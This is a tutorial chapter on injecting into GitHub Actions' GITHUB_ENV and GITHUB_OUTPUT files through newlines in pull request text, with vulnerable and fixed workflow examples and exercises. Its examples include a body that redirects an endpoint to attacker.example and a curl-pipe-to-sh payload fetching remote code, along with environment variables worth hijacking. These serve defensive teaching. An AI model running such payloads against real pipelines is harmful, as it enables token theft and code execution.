Sub topic 12
Injection through GITHUB_ENV and GITHUB_OUTPUT
This chapter assumes you know the ${{ }} expansion problem from the earlier chapters. It also assumes you can read a workflow with several steps and write basic shell. The chapter covers a second injection route that does not need ${{ }} inside a run script. It happens when a step writes untrusted text into one of the files GitHub Actions reads as commands.
What the two files do
Each step can pass data to later steps by appending lines to files. The runner gives the paths in two environment variables.
| File | Path variable | Line format | Effect |
|---|---|---|---|
| Environment file | `GITHUB_ENV` | `NAME=value` | Sets an environment variable for all later steps in the job |
| Output file | `GITHUB_OUTPUT` | `name=value` | Sets a step output, read later as `steps.<id>.outputs.<name>` |
The runner parses these files line by line after the step finishes. A newline therefore ends one assignment and starts the next. If an attacker controls part of a line and can put a newline in it, they can add assignments you never wrote. This is the same mistake as shell injection: data is treated as structure.
The older ::set-env and ::set-output workflow commands were deprecated and disabled for similar reasons. Appending to the files is the current mechanism, but it needs care.
Injecting into GITHUB_ENV
Pull request bodies are multi-line free text, so they are a realistic carrier. This workflow copies the body into an environment variable for later steps:
name: summarize
on:
pull_request_target:
types: [opened, edited]
jobs:
summarize:
runs-on: ubuntu-latest
steps:
- name: Save body
env:
BODY: ${{ github.event.pull_request.body }}
run: echo "PR_BODY=$BODY" >> "$GITHUB_ENV"
- name: Post summary
run: ./scripts/post-summary.sh
env:
API_TOKEN: ${{ secrets.SUMMARY_TOKEN }}The first step already avoids direct expansion, since BODY reaches the shell as data. The weakness is the echo line. Suppose the attacker writes this PR body:
looks good
SUMMARY_ENDPOINT=https://attacker.example/collectThe file now contains two lines: PR_BODY=looks good and SUMMARY_ENDPOINT=https://attacker.example/collect. If post-summary.sh reads SUMMARY_ENDPOINT, it now sends data, and possibly the token, to the attacker.
The same trick works against variables the runtime itself reads. These are the most dangerous targets:
PATH: later steps run attacker-chosen binaries if the attacker can place a file in a directory on the path.BASH_ENV: Bash sources this file before running a non-interactive script.LD_PRELOADandLD_LIBRARY_PATH: the loader pulls in attacker libraries.- Interpreter options such as
PYTHONPATHorRUBYOPT.
GitHub blocks a few names. NODE_OPTIONS is rejected in the environment file, for example. The list is short, and you should not rely on it. The loader and shell variables above still work when the attacker has a file on disk. In a pwn request, where fork code has been checked out, they do.
Injecting into GITHUB_OUTPUT
Outputs have the same flaw, and they add a second problem. Consider:
name: label
on:
pull_request_target:
types: [opened]
jobs:
label:
runs-on: ubuntu-latest
steps:
- id: meta
env:
TITLE: ${{ github.event.pull_request.title }}
run: |
echo "title=$TITLE" >> "$GITHUB_OUTPUT"
echo "kind=feature" >> "$GITHUB_OUTPUT"
- run: echo "Kind is ${{ steps.meta.outputs.kind }}"A title containing a newline followed by kind=... could write an output line before yours. When the same output name appears more than once, the last assignment wins. Here the attacker's kind line comes first, so your later line would overwrite it. If the attacker can put text after your last write, for example because the untrusted value is written last, the attacker's value wins. Order matters, and you should not depend on it.
The second problem is the last line of that workflow. Step outputs are expanded by ${{ }} just like event data. An attacker who sets kind to "; curl https://attacker.example/x | sh; echo " gets script injection again, even though the original value came through a file and not directly from the event. An output that contains untrusted data is still untrusted.
How the pieces connect
The diagram shows both the file-injection step and the second-stage expansion.
Fixing it
There are three layers of defense, from strongest to weakest.
Avoid the file when you can
Most values do not need to pass between steps. If a later step needs the PR body, read it from the event again in that step through its own env: block:
name: summarize
on:
pull_request_target:
types: [opened, edited]
permissions:
contents: read
pull-requests: write
jobs:
summarize:
runs-on: ubuntu-latest
steps:
- name: Post summary
env:
PR_BODY: ${{ github.event.pull_request.body }}
run: ./scripts/post-summary.shNothing is written to a command file, so there is nothing to forge. Step-level env: values are scoped to that one step, which also limits exposure.
Use a random delimiter for multi-line values
When you must pass untrusted text, use the heredoc form that both files support: name<<DELIMITER, the value, then DELIMITER on its own line. The delimiter must be something the attacker cannot predict, so generate it at run time:
- name: Save body safely
env:
BODY: ${{ github.event.pull_request.body }}
run: |
delim="EOF_$(openssl rand -hex 16)"
{
echo "PR_BODY<<$delim"
printf '%s\n' "$BODY"
echo "$delim"
} >> "$GITHUB_ENV"Everything between the markers is one value, so a newline in the body is part of the data. A fixed delimiter such as EOF fails because the attacker can include a line saying EOF in their text and then add their own assignments after it. The random 128-bit value makes a collision infeasible.
Validate the value when it has a known shape
If the value should be a number, a branch label, or one of a few words, check it before writing it:
- name: Save PR number
env:
PR_NUMBER: ${{ github.event.workflow_run.pull_requests[0].number }}
run: |
if ! [[ "$PR_NUMBER" =~ ^[0-9]+$ ]]; then
echo "Unexpected PR number" >&2
exit 1
fi
echo "PR_NUMBER=$PR_NUMBER" >> "$GITHUB_ENV"An all-digit value cannot contain a newline. Keep the check as an allow-list, such as digits only, and avoid trying to block specific bad characters.
Consuming what you wrote
Writing the value safely is half the job. When a later step reads it, use the shell variable and not the expression:
- run: echo "Body: $PR_BODY"Do not use echo "Body: ${{ env.PR_BODY }}". The second form expands before the shell starts and brings back script injection. The same rule applies to ${{ steps.meta.outputs.title }}. To use an output in a script, pass it through env::
- env:
TITLE: ${{ steps.meta.outputs.title }}
run: echo "Title: $TITLE"Where this shows up in practice
The riskiest variant appears in workflow_run workflows. An unprivileged workflow uploads an artifact, such as a file holding a PR number. A privileged follow-up downloads it and writes its contents to GITHUB_ENV or GITHUB_OUTPUT. The artifact comes from fork code, so every byte is attacker-controlled. Read the file into a variable, validate it with an allow-list like the digit check above, and only then write it.
Common mistakes
- Using a fixed heredoc delimiter such as
EOF. - Fixing the
runstep withenv:but still writing the value toGITHUB_ENVwith a plainecho "NAME=$VALUE". - Forgetting that a trusted-looking output can carry untrusted text.
- Trusting artifact contents because the artifact came from "our own" workflow.
- Assuming a title or branch name cannot contain newlines. Free-text fields like the PR body, comments, and commit messages can, and platform rules about titles may change.
Exercise
A workflow step runs echo "version=$TAG" >> "$GITHUB_OUTPUT", where TAG comes from the text of a release comment written by any user. A later step runs echo "Deploying ${{ steps.v.outputs.version }}". Name two separate problems, and give one fix for each.
Show answer
First, the comment can contain a newline, so the attacker can add extra output lines such as a forged deploy_target=.... Fix it by validating TAG against an allow-list pattern such as ^v[0-9]+\.[0-9]+\.[0-9]+$ before writing, or by using a random heredoc delimiter if the value must be free text. Second, the later step expands the output with ${{ }} inside a run script, which is script injection. Fix it by passing the output through env: (VERSION: ${{ steps.v.outputs.version }}) and using "$VERSION" in the script.
Exercise
Why does a fixed heredoc delimiter such as EOF not protect a value written to GITHUB_ENV?
Show answer
The attacker can include a line containing only EOF in their text. The runner treats that line as the end of the value, and any lines after it are parsed as new NAME=value assignments. A delimiter generated at run time, such as EOF_ plus 32 random hex characters, cannot be guessed, so the attacker cannot close the value early.